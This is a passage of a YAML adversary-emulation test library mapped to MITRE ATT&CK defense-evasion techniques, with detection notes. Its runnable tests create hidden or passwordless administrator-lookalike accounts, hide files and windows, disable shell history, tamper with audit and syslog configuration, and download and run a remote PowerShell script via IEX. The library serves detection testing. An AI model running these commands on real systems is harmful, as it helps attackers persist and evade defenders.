        command: 'xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00
          40 00 FF FF FF FF 00 00"

'
        name: sh
    - name: Create Windows System File with Attrib
      auto_generated_guid: f70974c8-c094-4574-b542-2c545af95a32
      description: |
        Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details
        and observe that the Attributes are "SA" for System and Archive.
      supported_platforms:
      - windows
      input_arguments:
        file_to_modify:
          description: File to modify using Attrib command
          type: String
          default: "%temp%\\T1564.001.txt"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file must exist on disk at specified location (#{file_to_modify})

'
        prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )

'
        get_prereq_command: 'echo system_Attrib_T1564.001 >> #{file_to_modify}

'
      executor:
        command: 'attrib.exe +s #{file_to_modify}

'
        cleanup_command: 'del /A:S #{file_to_modify} >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Create Windows Hidden File with Attrib
      auto_generated_guid: dadb792e-4358-4d8d-9207-b771faa0daa5
      description: |
        Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
        and observe that the Attributes are "SH" for System and Hidden.
      supported_platforms:
      - windows
      input_arguments:
        file_to_modify:
          description: File to modify using Attrib command
          type: String
          default: "%temp%\\T1564.001.txt"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file must exist on disk at specified location (#{file_to_modify})

'
        prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )

'
        get_prereq_command: 'echo system_Attrib_T1564.001 >> #{file_to_modify}

'
      executor:
        command: 'attrib.exe +h #{file_to_modify}

'
        cleanup_command: 'del /A:H #{file_to_modify} >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Hidden files
      auto_generated_guid: 3b7015f2-3144-4205-b799-b05580621379
      description: 'Requires Apple Dev Tools

'
      supported_platforms:
      - macos
      input_arguments:
        filename:
          description: path of file to hide
          type: Path
          default: "/tmp/evil"
      executor:
        command: 'setfile -a V #{filename}

'
        name: sh
    - name: Hide a Directory
      auto_generated_guid: b115ecaf-3b24-4ed2-aefe-2fcb9db913d3
      description: 'Hide a directory on MacOS

'
      supported_platforms:
      - macos
      executor:
        command: |
          touch /var/tmp/T1564.001_mac.txt
          chflags hidden /var/tmp/T1564.001_mac.txt
        cleanup_command: 'rm /var/tmp/T1564.001_mac.txt

'
        name: sh
    - name: Show all hidden files
      auto_generated_guid: 9a1ec7da-b892-449f-ad68-67066d04380c
      description: 'Show all hidden files on MacOS

'
      supported_platforms:
      - macos
      executor:
        command: 'defaults write com.apple.finder AppleShowAllFiles YES

'
        cleanup_command: 'defaults write com.apple.finder AppleShowAllFiles NO

'
        name: sh
  T1564.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1564.002
        url: https://attack.mitre.org/techniques/T1564/002
      - url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
        description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved
          July 31, 2020.
        source_name: Cybereason OSX Pirrit
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hidden Users
      description: |-
        Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.

        There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: <code>sudo dscl . -create /Users/username UniqueID 401</code>) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).
      id: attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-07-31T17:42:43.768Z'
      created: '2020-03-13T20:12:40.876Z'
      x_mitre_data_sources:
      - 'User Account: User Account Creation'
      - 'User Account: User Account Metadata'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - root
      - Administrator
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: This technique prevents the new user from showing up at the
        log in screen, but all of the other signs of a new user still exist. The user
        still gets a home directory and will appear in the authentication logs.
      x_mitre_platforms:
      - macOS
      identifier: T1564.002
    atomic_tests:
    - name: Create Hidden User using UniqueID < 500
      auto_generated_guid: 4238a7f0-a980-4fff-98a2-dfc0a363d507
      description: 'Add a hidden user on macOS using Unique ID < 500 (users with that
        ID are hidden by default)

'
      supported_platforms:
      - macos
      input_arguments:
        user_name:
          description: username to add
          type: String
          default: APT
      executor:
        command: 'sudo dscl . -create /Users/#{user_name} UniqueID 333

'
        cleanup_command: 'sudo dscl . -delete /Users/#{user_name}

'
        elevation_required: true
        name: sh
    - name: Create Hidden User using IsHidden option
      auto_generated_guid: de87ed7b-52c3-43fd-9554-730f695e7f31
      description: 'Add a hidden user on macOS using IsHidden optoin

'
      supported_platforms:
      - macos
      input_arguments:
        user_name:
          description: username to add
          type: String
          default: APT
      executor:
        command: 'sudo dscl . -create /Users/#{user_name} IsHidden 1

'
        cleanup_command: 'sudo dscl . -delete /Users/#{user_name}

'
        elevation_required: true
        name: sh
  T1564.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1564.003
        url: https://attack.mitre.org/techniques/T1564/003
      - source_name: PowerShell About 2019
        url: https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
        description: Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved
          October 11, 2019.
      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
        source_name: Antiquated Mac Malware
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hidden Window
      description: "Adversaries may use hidden windows to conceal malicious activity
        from the plain sight of users. In some cases, windows that would typically
        be displayed when an application carries out an operation can be hidden. This
        may be utilized by system administrators to avoid disrupting user work environments
        when carrying out administrative tasks. \n\nOn Windows, there are a variety
        of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001),
        Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005)
        to make windows hidden. One example of this is <code>powershell.exe -WindowStyle
        Hidden</code>. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the
        configurations for how applications run are listed in property list (plist)
        files. One of the tags in these files can be <code>apple.awt.UIElement</code>,
        which allows for Java applications to prevent the application's icon from
        appearing in the Dock. A common use for this is when applications run in the
        system tray, but don't also want to show up in the Dock.\n\nAdversaries may
        abuse these functionalities to hide otherwise visible windows from users so
        as not to alert the user to adversary activity on the system.(Citation: Antiquated
        Mac Malware)"
      id: attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-29T22:49:43.557Z'
      created: '2020-03-13T20:26:49.433Z'
      x_mitre_contributors:
      - Travis Smith, Tripwire
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor processes and command-line arguments for actions
        indicative of hidden windows. In Windows, enable and configure event logging
        and PowerShell logging to check for the hidden window style. In MacOS, plist
        files are ASCII text files with a specific format, so they're relatively easy
        to parse. File monitoring can check for the <code>apple.awt.UIElement</code>
        or any other suspicious plist tag in plist files and flag them.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      - 'File: File Modification'
      x_mitre_platforms:
      - macOS
      - Windows
      identifier: T1564.003
    atomic_tests:
    - name: Hidden Window
      auto_generated_guid: f151ee37-9e2b-47e6-80e4-550b9f999b7a
      description: |
        Launch PowerShell with the "-WindowStyle Hidden" argument to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
        Upon execution a hidden PowerShell window will launch calc.exe
      supported_platforms:
      - windows
      input_arguments:
        powershell_command:
          description: Command to launch calc.exe from a hidden PowerShell Window
          type: String
          default: powershell.exe -WindowStyle hidden calc.exe
      executor:
        command: 'Start-Process #{powershell_command}

'
        name: powershell
  T1564:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1564
        url: https://attack.mitre.org/techniques/T1564
      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        source_name: Sofacy Komplex Trojan
      - url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
        description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved
          July 31, 2020.
        source_name: Cybereason OSX Pirrit
      - url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
        description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams.
          Retrieved March 21, 2018.
        source_name: MalwareBytes ADS July 2015
      - source_name: Sophos Ragnar May 2020
        url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
        description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys
          virtual machine to dodge security. Retrieved June 29, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hide Artifacts
      description: |-
        Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)

        Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)
      id: attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-23T11:31:50.636Z'
      created: '2020-02-26T17:41:25.933Z'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'User Account: User Account Creation'
      - 'User Account: User Account Metadata'
      - 'File: File Modification'
      - 'Script: Script Execution'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Firmware: Firmware Modification'
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Service: Service Creation'
      - 'File: File Content'
      x_mitre_detection: Monitor files, processes, and command-line arguments for
        actions indicative of hidden artifacts. Monitor event and authentication logs
        for records of hidden artifacts being used. Monitor the file system and shell
        commands for hidden attribute usage.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1564
    atomic_tests:
    - name: Extract binary files via VBA
      auto_generated_guid: 6afe288a-8a8b-4d33-a629-8d03ba9dad3a
      description: "This module extracts a binary (calc.exe) from inside of another
        binary. \n\nIn the wild maldoc authors will use this technique to hide binaries
        inside of files stored \nwithin the office document itself. An example of
        this technique can be seen in sample\n\nf986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226\n\nThis
        sample contains a document inside of itself. Document 1 is the actual maldoc
        itself, document 2\nis the same document without all the malicious code. Document
        1 will copy Document 2 to the file system\nand then \"peek\" inside of this
        document and pull out the oleObject.bin file. Contained inside of this\noleObject.bin
        file is a payload that is parsed out and executed on the file system.\n"
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed

'
        prereq_command: |
          try {
            New-Object -COMObject "Word.Application" | Out-Null
            Stop-Process -Name "winword"
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

'
      executor:
        command: |
          $macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt")
          $macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin"
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap
        cleanup_command: 'Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore

'
        name: powershell
    - name: Create a Hidden User Called "$"
      auto_generated_guid: 2ec63cc2-4975-41a6-bf09-dffdfb610778
      description: Creating a user with a username containing "$"
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: net user $ ATOMIC123! /add /active:yes
        cleanup_command: net user $ /DELETE 2>&1
    - name: Create an "Administrator " user (with a space on the end)
      auto_generated_guid: 5bb20389-39a5-4e99-9264-aeb92a55a85c
      description: Creating a user with a username containing with a space on the
        end
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: true
        command: New-LocalUser -Name "Administrator " -NoPassword
        cleanup_command: Remove-LocalUser -Name "Administrator " 2>&1 | out-null
  T1574:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1574
        url: https://attack.mitre.org/techniques/T1574
      - source_name: Autoruns for Windows
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Hijack Execution Flow
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-27T19:55:20.290Z'
      created: '2020-03-12T20:38:12.465Z'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_detection: |-
        Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.

        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Monitor for changes to environment variables, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1562.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1562.003
        url: https://attack.mitre.org/techniques/T1562/003
      - external_id: CAPEC-13
        source_name: capec
        url: https://capec.mitre.org/data/definitions/13.html
      - source_name: Microsoft PowerShell Command History
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
        description: Microsoft. (2020, May 13). About History. Retrieved September
          4, 2020.
      - source_name: Sophos PowerShell command audit
        url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
        description: jak. (2020, June 27). Live Discover - PowerShell command audit.
          Retrieved August 21, 2020.
      - source_name: Sophos PowerShell Command History Forensics
        url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
        description: Vikas, S. (2020, August 26). PowerShell Command History Forensics.
          Retrieved September 4, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Impair Command History Logging
      description: "Adversaries may impair command history logging to hide commands
        they run on a compromised system. Various command interpreters keep track
        of the commands users type in their terminal so that users can retrace what
        they've done. \n\nOn Linux and macOS, command history is tracked in a file
        pointed to by the environment variable <code>HISTFILE</code>. When a user
        logs off a system, this information is flushed to a file in the user's home
        directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code>
        environment variable keeps track of what should be saved by the <code>history</code>
        command and eventually into the <code>~/.bash_history</code> file when a user
        logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but
        can be set by the user and will be respected.\n\nAdversaries may clear the
        history environment variable (<code>unset HISTFILE</code>) or set the command
        history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging
        of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore
        commands that start with a space by simply setting it to \"ignorespace\".
        <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting
        it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\"
        which covers both of the previous examples. This means that “ ls” will not
        be saved, but “ls” would be saved by history. Adversaries can abuse this to
        operate without leaving traces by simply prepending a space to all of their
        terminal commands.\n\nOn Windows systems, the <code>PSReadLine</code> module
        tracks commands used in all PowerShell sessions and writes them to a file
        (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code>
        by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption
        -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code>
        to stop receiving logs. Additionally, it is possible to turn off logging to
        this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle
        SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation:
        Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History
        Forensics)"
      id: attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-24T13:59:12.787Z'
      created: '2020-02-21T20:56:06.498Z'
      x_mitre_contributors:
      - Vikas Singh, Sophos
      - Emile Kenning, Sophos
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_defense_bypassed:
      - Host forensic analysis
      - Log analysis
      x_mitre_detection: "Correlating a user session with a distinct lack of new commands
        in their <code>.bash_history</code> can be a clue to suspicious behavior.
        Additionally, users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>,
        or <code>HISTFILESIZE</code> environment variables may be suspicious.\n\nMonitor
        for modification of PowerShell command history settings through processes
        being created with <code>-HistorySaveStyle SaveNothing</code> command-line
        arguments and use of the PowerShell commands <code>Set-PSReadlineOption -HistorySaveStyle
        SaveNothing</code> and <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. "
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1562.003
    atomic_tests:
    - name: Disable history collection
      auto_generated_guid: 4eafdb45-0f79-4d66-aa86-a3e2c08791f5
      description: 'Disables history collection in shells

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        evil_command:
          description: Command to run after shell history collection is disabled
          type: String
          default: whoami
      executor:
        command: |
          export HISTCONTROL=ignoreboth
          #{evil_command}
        name: sh
    - name: Mac HISTCONTROL
      auto_generated_guid: 468566d5-83e5-40c1-b338-511e1659628d
      description: "The HISTCONTROL variable is set to ignore (not write to the history
        file) command that are a duplicate of something already in the history \nand
        commands that start with a space. This atomic sets this variable in the current
        session and also writes it to the current user's ~/.bash_profile \nso that
        it will apply to all future settings as well.\nhttps://www.linuxjournal.com/content/using-bash-history-more-efficiently-histcontrol\n"
      supported_platforms:
      - macos
      - linux
      executor:
        steps: |
          1. export HISTCONTROL=ignoreboth
          2. echo export "HISTCONTROL=ignoreboth" >> ~/.bash_profile
          3. ls
          4. whoami > recon.txt
        name: manual
  T1562:
    technique:
      id: attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529
      description: |-
        Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

        Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.
      name: Impair Defenses
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1562
        url: https://attack.mitre.org/techniques/T1562
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-24T13:59:13.144Z'
      created: '2020-02-21T20:22:13.470Z'
      x_mitre_platforms:
      - Windows
      - Office 365
      - IaaS
      - Linux
      - macOS
      - Containers
      x_mitre_data_sources:
      - 'Process: Process Termination'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Windows Registry: Windows Registry Key Deletion'
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
      - 'Sensor Health: Host Status'
      - 'Script: Script Execution'
      - 'Firewall: Firewall Disable'
      - 'Firewall: Firewall Rule Modification'
      - 'Cloud Service: Cloud Service Modification'
      - 'Cloud Service: Cloud Service Disable'
      x_mitre_detection: |-
        Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools.  Lack of log events may be suspicious.

        Monitor environment variables and APIs that can be leveraged to disable security measures.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Signature-based detection
      - Host intrusion prevention systems
      - File monitoring
      - Digital Certificate Validation
      - Host forensic analysis
      - Log analysis
      - Firewall
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
    atomic_tests: []
  T1562.006:
    technique:
      id: attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da
      description: "An adversary may attempt to block indicators or events typically
        captured by sensors from being gathered and analyzed. This could include maliciously
        redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based
        sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About
        Event Tracing 2018) by tampering settings that control the collection and
        flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These
        settings may be stored on the system in configuration files and/or in the
        Registry as well as being accessible via administrative utilities such as
        [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management
        Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption
        can be achieved multiple ways, however most directly by defining conditions
        using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code>
        cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn
        the case of network-based reporting of indicators, an adversary may block
        traffic associated with reporting to prevent central analysis. This may be
        accomplished by many means, such as stopping a local process responsible for
        forwarding telemetry and/or creating a host-based firewall rule to block traffic
        to specific hosts responsible for aggregating events, such as security information
        and event management (SIEM) products. "
      name: Indicator Blocking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1562.006
        url: https://attack.mitre.org/techniques/T1562/006
      - external_id: CAPEC-571
        source_name: capec
        url: https://capec.mitre.org/data/definitions/571.html
      - url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A
        description: Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved
          September 6, 2018.
        source_name: Microsoft Lamin Sept 2017
      - source_name: Microsoft About Event Tracing 2018
        url: https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events
        description: Microsoft. (2018, May 30). About Event Tracing. Retrieved June
          7, 2019.
      - source_name: Medium Event Tracing Tampering 2018
        url: https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
        description: 'Palantir. (2018, December 24). Tampering with Windows Event
          Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-01-13T15:56:04.897Z'
      created: '2020-03-19T19:09:30.329Z'
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_contributors:
      - Rob Smith
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Sensor Health: Host Status'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.

        Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}</code>
      x_mitre_defense_bypassed:
      - Anti-virus
      - Host intrusion prevention systems
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1562.006
    atomic_tests:
    - name: Auditing Configuration Changes on Linux Host
      auto_generated_guid: 212cfbcf-4770-4980-bc21-303e37abd0e3
      description: 'Emulates modification of auditd configuration files

'
      supported_platforms:
      - linux
      input_arguments:
        audisp_config_file_name:
          description: The name of the audispd configuration file to be changed
          type: String
          default: audispd.conf
        auditd_config_file_name:
          description: The name of the auditd configuration file to be changed
          type: String
          default: auditd.conf
        libaudit_config_file_name:
          description: The name of the libaudit configuration file to be changed
          type: String
          default: libaudit.conf
      executor:
        command: "sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\nif
          [ -f \"/etc/#{auditd_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_1'
          /etc/#{auditd_config_file_name}\nelse sed -i '$ a #art_test_1562_006_1'
          /etc/audit/#{auditd_config_file_name}\nfi \nsed -i '$ a #art_test_1562_006_1'
          /etc/#{libaudit_config_file_name}\n"
        cleanup_command: |
          sed -i '$ d' /etc/audisp/#{audisp_config_file_name}
          if [ -f "/etc/#{auditd_config_file_name}" ];
          then sed -i '$ d' /etc/#{auditd_config_file_name}
          else sed -i '$ d' /etc/audit/#{auditd_config_file_name}
          fi
          sed -i '$ d' /etc/#{libaudit_config_file_name}
        name: bash
        elevation_required: true
    - name: Logging Configuration Changes on Linux Host
      auto_generated_guid: 7d40bc58-94c7-4fbb-88d9-ebce9fcdb60c
      description: 'Emulates modification of syslog configuration.

'
      supported_platforms:
      - linux
      input_arguments:
        syslog_config_file_name:
          description: The name of the syslog configuration file to be changed
          type: String
          default: syslog.conf
        rsyslog_config_file_name:
          description: The name of the rsyslog configuration file to be changed
          type: String
          default: rsyslog.conf
        syslog_ng_config_file_name:
          description: The name of the syslog-ng configuration file to be changed
          type: String
          default: syslog-ng.conf
      executor:
        command: |
          if [ -f "/etc/#{syslog_config_file_name}" ];
          then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}
          fi
          if [ -f "/etc/#{rsyslog_config_file_name}" ];
          then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}
          fi
          if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
